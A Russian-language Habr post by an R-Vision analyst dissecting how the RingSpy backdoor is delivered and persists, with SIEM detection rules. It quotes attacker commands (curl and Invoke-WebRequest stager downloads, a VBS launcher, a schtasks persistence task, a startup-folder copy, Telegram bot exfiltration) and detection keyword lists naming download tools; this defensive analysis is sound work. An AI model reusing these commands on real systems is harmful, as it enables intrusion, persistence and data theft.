Введение

Привет, Хабр!

Меня зовут Илья Ефимов, я аналитик-исследователь угроз кибербезопасности в компании R-Vision. Сегодня я расскажу про вредоносное ПО RingSpy, которое использует группировка Mysterious Werewolf. В этой статье мы подробно разберём один из способов его установки на компьютер жертвы.

RingSpy — это программа для удаленного доступа, которая позволяет скачивать файлы и выполнять различные команды атакующих (С2). Она пришла на смену другому инструменту — агенту Athena фреймворка Mythic. RingSpy управляется через бот в мессенджере Telegram, что делает его идеальным для скрытой атаки и контроля над скомпрометированными системами. А основной «фишкой» способа доставки бэкдора стала эксплуатация уязвимости CVE‑2023‑38831 в WinRAR.

Наши коллеги уже подготовили отчет о функционале этого бэкдора. Я же хочу разобрать один из способов его внедрения в скомпрометированную систему и рассмотреть, как его можно обнаружить с помощью R-Vision SIEM.

Детали работы загрузчика RingSpy

В этой статье мы подробно разберем метод внедрения бэкдора, используя техники из матрицы MITRE ATT&CK.

Фишинг через вложение

Для первоначального доступа в систему жертвы злоумышленники используют фишинг, что соответствует технике T1566.001 - Phishing: Spearphishing Attachment. Они отправляют электронные письма с вложенным архивом, который содержит файл с двойным расширением, использующий уязвимость CVE‑2023‑38831 в WinRAR.

Эксплуатация уязвимости в клиентском приложении

После доставки фишингового вложения при открытии файла происходила эксплуатация CVE-2023-38831 WinRAR, что относится к технике T1203 - Exploitation for Client Execution. Атакующие использовали данную уязвимость для запуска полезной нагрузки. Подробнее можно познакомиться с моим разбором CVE-2023-38831 WinRAR и возможностями ее детекта в статье.

Доставка инструментария атакующего

Техника Ingress Tool Transfer T1105 используется, когда атакующий передает вредоносные инструменты или файлы из внешней системы в скомпрометированную среду.

Для подгрузки модулей ВПО атакующие из Mysterious Werewolf использовали командлет Invoke-WebRequest, а также встроенную утилиту curl.

Далее описаны используемые методы для подгрузки данных с внешних ресурсов.

Утилита сurl

В блоке кода ниже используется утилита curl для загрузки содержимого файла "bat.bat". В результате этот файл сохранялся в локальном хранилище под названием "i.bat".

# Скачивает файл с указанного URL и сохраняет его по пути `C:\Users\[username]\AppData\Local\r`.Использует метод HTTP GET и заголовки для авторизации и указания типа содержимого.
curl -o "C:\Users\<username>\AppData\Local\r" -L -O -X GET "https://cloud-api.yandex.net/v1/disk/resources/download?path=bat.bat" -H "Accept: application/json" -H "Authorization: OAuth [redacted]" -H "Content-Type: application/json"

# Читает содержимое файла `r` и сохраняет его в переменную `B`.
set /p B=<"C:\Users\<username>\AppData\Local\r"

# Скачивает файл с URL, который извлекается из переменной `B` (начиная с 9-го символа и длиной 445 символов), и сохраняет его по пути `C:\Users\[username]\AppData\Local\i.bat`. Также использует метод HTTP GET и заголовки для авторизации и указания типа содержимого.
curl -o "C:\Users\<username>\AppData\Local\i.bat" -L -O -X GET "%B:~9,445%" -H "Accept: application/json" -H "Authorization: OAuth [redacted]" -H "Content-Type: application/json"

В результате этой активности на хосте в журналах Sysmon и Security возникают следующие события:

  1. DNS-запрос к домену api.disk.yandex.net в EventID 22: DNSEvent (DNS query) Sysmon.

  2. Сетевое соединение EventID 3: Network connection Sysmon с IP, соответствующим домену cloud-api.yandex.net.

  3. Создание файла вывода C:\Users\<user>\AppData\Local\r, в результате работы утилиты curl.exe (EventID 11: FileCreate Sysmon).

  4. Формирование процессов утилиты curl.exe с доступом к внешним ресурсам, что зафиксировано в EventID 1: Process creation Sysmon или EventID 4688: Process creation журнала Security.

Событие DNS-запроса к api.disk.yandex.net в R-Vision SIEM
Событие DNS-запроса к api.disk.yandex.net в R-Vision SIEM
Событие сетевого соединения к IP-адресу, соответствующему api.disk.yandex.net
Событие сетевого соединения к IP-адресу, соответствующему api.disk.yandex.net
Событие создания файла в R-Vision SIEM
Событие создания файла в R-Vision SIEM
Событие создания процессов curl в R-Vision SIEM
Событие создания процессов curl в R-Vision SIEM

Следует отметить, что эти события могут быть полезны для расследования, но не для построения хорошей детектирующей логики. Причина в том, что злоумышленники использовали API Яндекса в качестве C2-сервера для доставки вредоносного инструментария. В следующий раз они могут выбрать другое облачное решение для этой цели.

Детект доставки инструментария через утилиту curl

Активность по работе утилиты curl, связанной с загрузкой файлов, может быть задетектирована вспомогательным правилом «Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит»:

Событие сработавшего правила в R-Vision SIEM
Событие сработавшего правила в R-Vision SIEM

Под спойлером представлен фрагмент логики правила, которая отвечает за его детектирование. Основная задача этой логики — поиск событий создания процессов с использованием популярных утилит и флагов, предназначенных для загрузки файлов с удалённых серверов.

Кроме того, в правиле предусмотрен список исключения легитимных ресурсов, обращение к которым разрешено и не будет генерировать корреляционные сработки:

«Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит»
filter: !vrl |
  .dvendor == "Microsoft" &&
  includes(["1", "4688"], .externalId)

aliases:
  proc_create:
    filter: !vrl |
      flag = false
      # В списке legit_domains будет находится список легитимных доменов. В случае если домен совпадает, то сработки не будет
      legit_domains = ["legitdom.com"]
      dproc = downcase(to_string(.dproc) ?? "-")
      if .externalId == "1"{
        cmd = to_string(.cmd) ?? "-"
        cs2 = downcase(to_string(.cs2) ?? "-")
        # Разные проверки cmd для разных пакетов Python (urllib, urllib2, urllib3 - Python2, requests - Python3)
        if ((ends_with(dproc, "\\python.exe") || cs2 == "python") && (contains_all(downcase(cmd), ["urllib", "urlopen"]) || contains_all(downcase(cmd), ["request", "get"]))) ||
        ((ends_with(dproc, "\\certreq.exe") || cs2 == "certreq.exe") && contains_all(downcase(cmd), ["post", "config"])) ||
        ((ends_with(dproc, "\\certutil.exe") || cs2 == "certutil.exe") && contains_all(downcase(cmd), ["verifyctl", "split"])) ||
        ((ends_with(dproc, "\\certutil.exe") || cs2 == "certutil.exe") && contains_all(downcase(cmd), ["urlcache", "split"])) ||
        ((ends_with(dproc, "\\curl.exe") || cs2 == "the curl executable") && (contains(cmd, "-O ") || contains(downcase(cmd), "--remote-name")))
        {
          flag = true
          cmd = downcase(to_string(.cmd) ?? "-")
          for_each(legit_domains) -> |_index, value|{
            if contains(cmd, value){
              flag = false
            }
          }
        }
      } else if .externalId == "4688"{
        cmd = to_string(.cmd) ?? "-"
        # Разные проверки cmd для разных пакетов Python (urllib - Python2, requests - Python3)
        if ((ends_with(dproc, "\\python.exe")) && (contains_all(downcase(cmd), ["urllib", "urlopen"]) || contains_all(downcase(cmd), ["request", "get"]))) ||
        ((ends_with(dproc, "\\certreq.exe")) && contains_all(downcase(cmd), ["post", "config"])) ||
        ((ends_with(dproc, "\\certutil.exe")) && contains_all(downcase(cmd), ["verifyctl", "split"])) ||
        ((ends_with(dproc, "\\certutil.exe")) && contains_all(downcase(cmd), ["urlcache", "split"])) ||
        ((ends_with(dproc, "\\curl.exe")) && (contains(cmd, "-O ") || contains(downcase(cmd), "--remote-name"))){
          flag = true
          cmd = downcase(to_string(.cmd) ?? "-")
          for_each(legit_domains) -> |_index, value|{
            if contains(cmd, value){
              flag = false
            }
          }
        }
      }
      flag

Командлет Invoke-WebRequest

Бэкдор RingSpy позволяет загружать файлы с удалённых ресурсов. Для этого используется командлет Invoke-WebRequest. Вот как выглядит шаблон команды:

powershell.exe Invoke-WebRequest -Uri "http://[сетевой ресурс]/[имя файла]" -OutFile " C:\Users\[username]\AppData\Local\Microsoft\Windows\Ringtones\<имя файла>"

В результате активности формируются события с EventID 4103: Module logging и 4104: Powershell Script Block Logging журнала Powershell/Operational, в которых можно увидеть интересующий нас командлет Invoke-WebRequest:

События 4103 и 4104 журнала Powershell/Operational в R-Vision SIEM
События 4103 и 4104 журнала Powershell/Operational в R-Vision SIEM

Детект доставки инструментария через командлет Invoke-WebRequest

В R-Vision SIEM можно фиксировать подобную активность с загрузкой файлов через командлет Invoke-WebRequest, при помощи правила «Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит». Ниже представлен пример корреляционного события, иллюстрирующий работу этого правила.

|500
Событие сработавшего правила в R-Vision SIEM

Под спойлером представлена часть детектирующей логики правила, в которой отслеживаются события 4103 и 4104 журнала Powershell/Operational с интересующими нас командлетами, которые могут быть использованы для загрузки файлов.

«Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит»
filter: !vrl |
  .dvendor == "Microsoft" &&
  (.externalId == "4104" || .externalId == "4103")

aliases:
  event:
    filter: !vrl |
      match(to_string(downcase(.fname) ?? "-"), r'iex.*downloadstring|invoke-expression.*downloadstring|iex.*iwr.*http|invoke-expression.*invoke-webrequest.*http|invoke-expression.*iwr.*http|iex.*invoke-webrequest.*http|invoke-webrequest.*http|invoke-restmethod.*http|iwr.*http|xmlhttp.*send.*iex|xmlhttp.*send.*invoke-expression|winhttprequest.*send.*iex|winhttprequest.*send.*invoke-expression|invoke-restmethod.*uri|irm.*uri|iwr.*uri|downloadfile|net.webclient|downloaddata|downloaddataasync|downloaddatataskasync|downloadfileasync|downloadfiletaskasync|downloadstringasync|downloadstringtaskasync|filewebrequest|ftpwebrequest|httpwebrequest|curl|wget|msxml2.xmlhttp|internetexplorer.application|msxml2.serverxmlhttp|word.application|excel.application|0002df01-0000-0000-c000-000000000046|f6d90f16-9c73-11d3-b32e-00c04f990bb4|f5078f35-c551-11d3-89b9-0000f81fe221|88d96a0a-f192-11d4-a65f-0040963251e5|afba6b42-5692-48ea-8141-dc517dcf0ef1|afb40ffd-b609-40a3-9828-f88bbe11e4e3|88d96a0b-f192-11d4-a65f-0040963251e5|2087c2f4-2cef-4953-a8ab-66779b670495|000209ff-0000-0000-c000-000000000046|00024500-0000-0000-c000-000000000046|bitstransfer|system.xml.xmldocument|appactivate|sendkeys')

Удаление файловых индикаторов

Техника T1070.004 Indicator Removal: File Deletion — применяется атакующими для устранения следов своего присутствия в системе, чтобы минимизировать вероятность обнаружения. Она включает удаление вредоносного ПО, инструментов или других файлов, созданных в ходе вторжения.

После выполнения задач бэкдором RingSpy загруженные стейджеры самоудаляются, чтобы скрыть следы атаки, с помощью команды:

del /s /q "C:\Users\<username>\AppData\Local\r"

Фиксируется действие в журнале Sysmon/Operational событием с FileDeleteDetected (File Delete logged). Как можно заметить, в filePath хранится путь к удаляемому файлу, а в dproc — процесс, который инициировал удаление файла:

Событие удаления файла C:\Users\[username]\AppData\Local\r средствами cmd.exe в R-Vision SIEM
Событие удаления файла C:\Users\[username]\AppData\Local\r средствами cmd.exe в R-Vision SIEM

Детект удаления файловых индикаторов атакующим

Эта активность детектируется с помощью системы анализа событий R-Vision SIEM, которая использует правило «Создание и удаление файла за короткий промежуток времени с помощью интерпретатора командной строки». Ниже представлен пример корреляционного события:

Событие сработавшего правила в R-Vision SIEM
Событие сработавшего правила в R-Vision SIEM

В детектирующем правиле отслеживаются события создания и удаления одного и того же файла от процесса командной строки за короткий промежуток времени.

«Создание и удаление файла за короткий промежуток времени с помощью интерпретатора командной строки»
filter: !vrl |
  .dvendor == "Microsoft" &&
  includes(["11", "26"], .externalId) &&
  ends_with(downcase(to_string(.dproc) ?? ""), "\\cmd.exe")

aliases:
  file_create:
    filter: !vrl |
      flag = false
      if .externalId == "11"{
        flag = true
      }
      flag
  file_delete:
    filter: !vrl |
      flag = false
      if .externalId == "26"{
        flag = true
      }
      flag

ttl: 1

select:
    alias: file_create
    join:
      alias: file_delete
      on:
        - eq: {file_create: .dvchost, file_delete: .dvchost}
        - eq: {file_create: .filePath, file_delete: .filePath}
        - eq: {file_create: .suser, file_delete: .suser}

Интерпретаторы командной строки и сценариев

Техника T1059 — Command and Scripting Interpreter используется атакующими для выполнения команд, скриптов или бинарных файлов на целевых системах. Интерпретаторы команд и скриптов обеспечивают способы взаимодействия с компьютерными системами и являются общей функцией на многих платформах.

В рамках своей работы RingSpy использует различные интерпретаторы:

Ниже представлен пример содержимого скрипта python.vbs, который является бэкдором RingSpy. Этот скрипт запускается с помощью Wscript.Shell:

Set oShell = CreateObject("Wscript.Shell")  
oShell.Run “C:\Users\[redacted]\AppData\Local\Python\python.exe” "C:\Users\[redacted]\AppData\Local\Python\f.py” , 0, true

Детект техники «Интерпретаторы командной строки и сценариев»

R-Vision SIEM детектирует активность, связанную с использованием Visual Basic, с помощью правила: «Потенциальное выполнение скрипта через WScript/CScript». Ниже представлен пример корреляционного события:

Событие сработавшего правила в R-Vision SIEM
Событие сработавшего правила в R-Vision SIEM

Под спойлером представлен фильтр правила, где фиксируется создание процессов WScript/CScript и попытка исполнения скриптовых файлов в подозрительных директориях:

«Потенциальное выполнение скрипта через WScript/CScript»
aliases:
  events:
    filter: !vrl |
      cmd = to_string(downcase(.cmd) ?? "-")
      dproc = to_string(downcase(.dproc) ?? "-")
      .dvendor == "Microsoft" &&
      ((.externalId == "1" || .externalId == "4688") &&
      ( (ends_with(dproc, "wscript.exe")) ||
      (ends_with(dproc, "cscript.exe")) ) &&
      ( (contains(cmd, ":\\\\temp\\\\")) ||
      (contains(cmd, ":\\\\tmp\\\\")) ||
      (contains(cmd, ":\\\\users\\\\public\\\\")) ||
      (contains(cmd, ":\\\\windows\\\\temp\\\\")) ||
      (contains(cmd, "\\\\appdata\\\\local\\\\temp\\\\")) ) &&
      ( (contains(cmd, ".js")) ||
      (contains(cmd, ".jse")) ||
      (contains(cmd, ".vba")) ||
      (contains(cmd, ".vbe")) ||
      (contains(cmd, ".vbs")) ||
      (contains(cmd, ".wsf")) ) )

Использование веб-служб для двусторонней связи

Техника T1102.002 Web Service: Bidirectional Communication — используется атакующими для отправки команд на скомпрометированную систему и получения от нее данных через легитимные внешние веб-сервисы.

Управляющий сервер бэкдора — бот в мессенджере Telegram. При успешном выполнении команд вывод записывается в файл C:\Users\[redacted]\AppData\Local\Python\rs.txt, а затем отправляется на управляющий сервер в виде файла. Файлы на управляющий сервер отправляются с использованием сетевого ресурса https://api.telegram.org/bot[токен бота]/sendDocument, а текст — https://api.telegram.org/bot[токен бота]/sendMessage.

При подключении к домену api.telegram.org происходит множество событий, но особенно интересными являются два из них:

  1. Событие DNS запроса к домену api.telegram.org. Это событие фиксируется в журнале Sysmon/Operational с Event ID 22: DNSEvent (DNS query):

Событие DNS-запроса к домену api.telegram.org
Событие DNS-запроса к домену api.telegram.org
  1. Событие сетевого соединения с IP-адресом 149.154.167.220 , который принадлежит api.telegram.org. Это уведомление также можно найти в журнале Sysmon/Operational с Event ID 3: Network connection:

Событие сетевого соединения с IP-адресом 149.154.167.220, соответствующим домену api.telegram.org
Событие сетевого соединения с IP-адресом 149.154.167.220, соответствующим домену api.telegram.org

Детект использования Telegram в качестве C2

Здесь на помощь приходит R-Vision SIEM, который использует правило «Запросы к API Telegram подозрительным приложением». Вот пример корреляционного события:

Событие сработавшего правила в R-Vision SIEM
Событие сработавшего правила в R-Vision SIEM

Под спойлером представлен фильтр правила, который отслеживает соединения с IP-адресом или доменным именем, соответствующими API Telegram (149.154.167.220 и api.telegram.org). Так как такая активность часто является легитимной, в правиле предусмотрено исключение по родительскому процессу, благодаря активному списку telegram_legit_actives:

«Запросы к API Telegram подозрительным приложением»
filter: !vrl |
  .dvendor == "Microsoft" &&
  includes(["3", "22"], to_string(.externalId) ?? "")
  
aliases:
  connect_telegram:
    filter: !vrl |
      isConnectLegit = false
      isConnectTelegram = false
      externalId = to_string(.externalId) ?? ""
      dproc = "\\\\" + to_string(split(downcase(to_string(.dproc) ?? ""), "\\\\", limit: 2)[-1])
      dvchost = downcase(to_string(.dvchost) ?? "")
      destinationTranslatedAddress = ipv6_to_ipv4(.destinationTranslatedAddress) ?? ""
      destinationTranslatedPort = to_string(.destinationTranslatedPort) ?? ""
      cs1 = downcase(to_string(.cs1) ?? "")
      # В массив ["149.154.167.220"] нужно будет вписывать IP-адреса API Telegram, на случай если будут добавляться еще адреса
      if externalId == "3" && includes(["149.154.167.220"], destinationTranslatedAddress) && destinationTranslatedPort == "443"{
        isConnectTelegram = true
        isActiveLegit = get_active_record("telegram_legit_actives", {"dvchost": dvchost, "dproc": dproc}) ?? null
        if (isActiveLegit != null) {
          isConnectLegit = true
        }
      } else if externalId == "22" && cs1 == "api.telegram.org"{
        isConnectTelegram = true
        isActiveLegit = get_active_record("telegram_legit_actives", {"dvchost": dvchost, "dproc": dproc}) ?? null
        if (isActiveLegit != null) {
          isConnectLegit = true
        }
      }
      !isConnectLegit && isConnectTelegram

Закрепление через планировщик заданий Windows

Техника T1053.005 Scheduled Task / Job: Scheduled Task используется атакующими для выполнения команд или программ на скомпрометированной системе в заданное время или на регулярной основе.

Бэкдор RingSpy предоставляет атакующему возможность удаленно выполнять команды, просматривать их результаты и загружать файлы из сети. Для закрепления в бэкдоре можно использовать опцию -f при запуске. В этом случае RingSpy устанавливает в планировщике заданий выполнение скрипта python.vbs каждую минуту:

powershell.exe schtasks /create /tn 'GoogleUpdatess' /tr '%localappdata%\Python\python.vbs' /sc minute /mo 1

При выполнении команды генерируются события с EventID 1: Process Creation журнала Sysmon/Operational и EventID 4688: Process Creation журнала Security, где в поле cmd можно увидеть выполняемую команду по созданию задачи GoogleUpdatess:

Событие создания задачи GoogleUpdatess утилитой schtasks в R-Vision SIEM
Событие создания задачи GoogleUpdatess утилитой schtasks в R-Vision SIEM

Наиболее точечным детектом будет событие с EventID 4698: A scheduled task was created , зафиксированное в журнале Security. В поле cs2 можно увидеть процесс, ответственный за эту активность, а в поле cs6 — название созданной задачи GoogleUpdatess:

Событие создания запланированной задачи GoogleUpdatess в R-Vision SIEM
Событие создания запланированной задачи GoogleUpdatess в R-Vision SIEM

Детект «Закрепление через планировщик заданий Windows»

Эту активность детектирует R-Vision SIEM при помощи правила «Изменения в планировщике задач». Ниже показан пример корреляционного события:

Событие сработавшего правила в R-Vision SIEM
Событие сработавшего правила в R-Vision SIEM

Под спойлером представлена часть детектирующей логики правила, где происходит мониторинг событий создания, удаления, изменения запланированных задач. При этом при помощи массива legitimate_tasks и таблицы legitimate_scheduled_task происходит исключение легитимных путей для задач:

«Изменения в планировщике задач»
filter: !vrl |
  .dvendor == "Microsoft" &&
  includes(["4698", "4699", "4702"], .externalId) && !ends_with(downcase(to_string(.suser) ?? ""), "$")
aliases:
  schedule_task_change:
    filter: !vrl |
      cs6 = downcase(to_string(.cs6) ?? "")
      #Список легитимных путей для задач
      legitimate_tasks = [
        "\\onedrive standalone update task-",
        "\\onedrive reporting task-",
        "\\mozilla\\firefox default browser agent",
        "\\user_feed_synchronization-",
        "\\googleupdatetaskmachine",
        "\\opera scheduled"
      ]
      flag = true
      #проверка на вхождение задачи в список легитимных задач legitimate_tasks
      for_each(legitimate_tasks) -> |_index, value| {
        if contains(cs6, value){
          flag = false
        }
      }
      #Если в предыдущих проверках не удалось найти легитимную задачу, то проверка на вхождение задачи в таблице легитимных задач legitimate_scheduled_tasks
      if flag == true{
        legit_task_check, error = get_enrichment_table_record("legitimate_scheduled_task", {"path": cs6}, case_sensitive: false)
        if !is_empty(legit_task_check){
          flag = false
        }
      }
      if flag == false{
        false
      } else{
        true
      }

Закрепление через автозагрузку

Техника T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder — используется атакующими для достижения постоянства на скомпрометированной системе.

Чтобы закрепить своё присутствие, при запуске бэкдора python.vbs они копируют VB-скрипт в директорию автозапуска:

copy "%localappdata%\Python\python.vbs" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"

Наиболее эффективным способом обнаружения событий, которые генерируются, будет использование EventID 4663: An attempt was made to access an object журнала Security. При этом стоит обратить внимание на маску доступа. Нас интересуют маски 0x100 (WriteAttributes) или 0x6 (0x2 (WriteData) + 0x4 (AppendData)):

Событие доступа к объекту с маской создания файла в R-Vision SIEM
Событие доступа к объекту с маской создания файла в R-Vision SIEM

Также фиксируется событие создание файла средствами Sysmon с EventID 11, где в поле filePath содержится название создаваемого файла в папке автозагрузки:

Событие создания файла в R-Vision SIEM
Событие создания файла в R-Vision SIEM

Детект «Закрепление через автозагрузку»

Эту активность обнаруживает R-Vision SIEM с помощью правила «Возможное закрепление в системе через автозагрузку». Ниже представлен пример корреляционного события:

Событие сработавшего правила в R-Vision SIEM
Событие сработавшего правила в R-Vision SIEM

Часть детектирующей логики правила, где происходит мониторинг событий создания файла в директориях автозапуска, представлена под спойлером:

«Возможное закрепление в системе через автозагрузку»
filter: !vrl |
  .dvendor == "Microsoft" &&
  # Фильтруем событие доступа к объекту файловой системы с access mask на запись при помощи журнала Security
  (.externalId == "4663" &&
  (.accessMask == "0x100" || .accessMask == "0x6")) ||
  # Фильтруем событие создание файла при помощи журнала Sysmon
  (.externalId == "11")

on_event: !vrl |
  # Директории, в которых может быть реализована данная техника
  registry_run_keys = ["\\\\appdata\\\\roaming\\\\microsoft\\\\windows\\\\start menu\\\\programs\\\\startup","\\\\programdata\\\\microsoft\\\\windows\\\\startmenu\\\\programs\\\\startup"]
  state.flag = false
  for_each(registry_run_keys) -> |_index, value| {
      if .externalId == "11"{
        if contains(downcase(to_string(.filePath) ?? ""), value){
        state = .
        state.flag = true
        state.msg = "Пользователь " + (to_string(.sntdom) ?? "-") + "\\" + (to_string(.suser) ?? "-") + " осуществил закрепление в системе на хосте " + (to_string(.dvchost) ?? "-") + " через директорию автозапуска при помощи процесса " + (to_string(.dproc) ?? "-")
        }
      } else if .externalId == "4663"{
        if contains(downcase(to_string(.fname) ?? ""), value){
        state = .
        state.flag = true
        state.msg = "Пользователь " + (to_string(.sntdom) ?? "-") + "\\" + (to_string(.suser) ?? "-") + " осуществил закрепление в системе на хосте " + (to_string(.dvchost) ?? "-") + " через директорию автозапуска при помощи процесса " + (to_string(.dproc) ?? "-")
        }
      }
  }

Заключение

В этой статье мы подробно рассмотрели один из способов доставки бэкдора RingSpy на скомпрометированный хост.

На основе анализа я подготовил несколько рекомендаций, которые помогут вам защитить вашу систему от подобных угроз:

  1. Обновите WinRAR до версии 6.23 или более поздней. Это позволит вам избежать уязвимости CVE-2023-38831.

  2. Следите за распространенными киберугрозами и тактиками, которые используют атакующие. Эти знания помогут вам распознать потенциальные риски и избежать мошенничества.

  3. Будьте осторожны с вложениями из неизвестных источников. Запускайте только те вложения, которые получены из надежных источников.

Кроме того, мы продемонстрировали, как R-Vision SIEM может эффективно выявлять активность подобного рода. Поэтому для защиты от подобных атак рекомендуем использовать это решение.

Надеюсь, статья оказалась для вас полезной. Если у вас остались вопросы, буду рад ответить на них в комментариях.

MITRE ATT&CK

Матрица MITRE ATT&CK

Тактика

Техника

Процедура

Правило

Initial Access

Phishing: Spearphishing Attachment - T1566.001

Использует фишинговые письма для получения первоначального доступа

Execution

Command and Scripting Interpreter: PowerShell - T1059.001

Использует PowerShell для выполнения команд и сценариев

Command and Scripting Interpreter: Windows Command Shell T1059.003

Использует командную строку Windows для выполнения команд и сценариев

Command and Scripting Interpreter: Visual Basic - T1059.005

Использует VBS‑сценарии

Потенциальное выполнение скрипта через WScript/CScript

Command and Scripting Interpreter: Python - T1059.006

Использует интерпретатор Python для выполнения кода бэкдора

Exploitation for Client Execution T1203

Использует уязвимость CVE‑2023‑38831 в WinRAR для выполнения вредоносного кода

Запуск интерпретатора командной строки от WinRAR

Persistence

Scheduled Task / Job: Scheduled Task - T1053.005

Использует планировщик задач Windows для закрепления в скомпрометированной системе

Изменения в планировщике задач

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - T1547.001

Использует папку автозагрузки для закрепления в скомпрометированной системе

Зафиксировано возможное закрепление в системе посредством помещения файла в директорию автозагрузки

Defense Evasion

Indicator Removal: File Deletion - T1070.004

Удаляет файлы после выполнения

Создание и удаление файла за короткий промежуток времени при помощи интерпретатора командной строки

Command and Control

Ingress Tool Transfer - T1105

Загружает файлы с удаленных ресурсов

1) Загрузка файлов с удаленного сервера при помощи PowerShell

2) Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит

Web Service: Bidirectional Communication - T1102.002

Использует бот в мессенджере Telegram в качестве командного сервера

Запросы к API Telegram подозрительным приложением

При этом стоит отметить, что список правил не окончательный, в статье описаны лишь правила, которые наиболее точно подходят под определенную технику.

Комментарии (2)


  1. Midji
    10.01.2025 04:55

    А почему для доставки вредоносного кода используется так много интерпретаторов? Не осторожнее ли всего написать исполняемый exe, который будет самостоятельно выполнять данные действия? К тому же его и реверсить будет труднее


    1. slavius
      10.01.2025 04:55

      .exe не проходят фильтры почты и быстрее детектируются.